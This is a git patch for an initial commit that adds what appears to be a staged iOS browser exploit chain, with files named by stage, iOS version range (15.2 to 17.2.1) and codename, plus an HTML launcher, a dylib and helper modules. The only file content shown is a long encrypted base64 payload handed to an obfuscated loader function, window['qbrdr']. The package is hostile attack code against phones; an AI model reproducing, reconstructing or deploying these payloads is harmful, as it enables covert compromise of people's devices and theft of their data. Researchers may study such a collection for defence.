From 3780af9370f62b9ec9968901babe64132fd7e853 Mon Sep 17 00:00:00 2001 From: khanhduytran0 Date: Fri, 6 Mar 2026 13:20:46 +0700 Subject: [PATCH] Initial commit --- .gitignore | 1 + 377bed7460f7538f96bbad7bdc2b8294bdc54599.js | 1 + 38af3c8ba461079a0edc83585023f76843066dcf.js | 1 + ...a8063eb4480e915f1a4479c62ec774f52ce.min.js | Bin 0 -> 232632 bytes 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js | 5 + ...0e0fa1f2baf9a9e41169ecc88e18042bb17.min.js | Bin 0 -> 228332 bytes README.md | 14 + Stage1_15.2_15.5_jacurutu.js | 504 ++++++ Stage1_16.2_16.5.1_terrorbird.js | 1050 +++++++++++ Stage1_16.6_17.2.1_cassowary.js | 1449 +++++++++++++++ Stage2_16.3_16.5.1_seedbell.js | 1525 ++++++++++++++++ Stage2_16.6_16.7.12_seedbell.js | 415 +++++ Stage2_16.6_17.2.1_seedbell_pre.js | 640 +++++++ Stage2_17.0_17.2.1_seedbell.js | 563 ++++++ Stage3_VariantB.js | 1559 +++++++++++++++++ group.html | 598 +++++++ other/README.md | 3 + other/Stage1_13.0_15.1.1_buffout.js | 473 +++++ other/Stage1_15.6_16.1.2_bluebird.js | 1330 ++++++++++++++ other/Stage2_13.0_14.x_breezy.js | 1 + other/Stage2_15.0_16.2_breezy15.js | 1 + other/Stage3ValidatorOrSomething.dylib | Bin 0 -> 121920 bytes other/Stage3_VariantA.js | 426 +++++ platform_module.js | 1105 ++++++++++++ utility_module.js | 923 ++++++++++ 25 files changed, 12587 insertions(+) create mode 100644 .gitignore create mode 100644 377bed7460f7538f96bbad7bdc2b8294bdc54599.js create mode 100644 38af3c8ba461079a0edc83585023f76843066dcf.js create mode 100644 4817ea8063eb4480e915f1a4479c62ec774f52ce.min.js create mode 100644 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js create mode 100644 800d80e0fa1f2baf9a9e41169ecc88e18042bb17.min.js create mode 100644 README.md create mode 100644 Stage1_15.2_15.5_jacurutu.js create mode 100644 Stage1_16.2_16.5.1_terrorbird.js create mode 100644 Stage1_16.6_17.2.1_cassowary.js create mode 100644 Stage2_16.3_16.5.1_seedbell.js create mode 100644 Stage2_16.6_16.7.12_seedbell.js create mode 100644 Stage2_16.6_17.2.1_seedbell_pre.js create mode 100644 Stage2_17.0_17.2.1_seedbell.js create mode 100644 Stage3_VariantB.js create mode 100644 group.html create mode 100644 other/README.md create mode 100644 other/Stage1_13.0_15.1.1_buffout.js create mode 100644 other/Stage1_15.6_16.1.2_bluebird.js create mode 100644 other/Stage2_13.0_14.x_breezy.js create mode 100644 other/Stage2_15.0_16.2_breezy15.js create mode 100644 other/Stage3ValidatorOrSomething.dylib create mode 100644 other/Stage3_VariantA.js create mode 100644 platform_module.js create mode 100644 utility_module.js diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e43b0f9 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.DS_Store diff --git a/377bed7460f7538f96bbad7bdc2b8294bdc54599.js b/377bed7460f7538f96bbad7bdc2b8294bdc54599.js new file mode 100644 index 0000000..7fca15b --- /dev/null +++ b/377bed7460f7538f96bbad7bdc2b8294bdc54599.js @@ -0,0 +1 @@ +window["qbrdr"]("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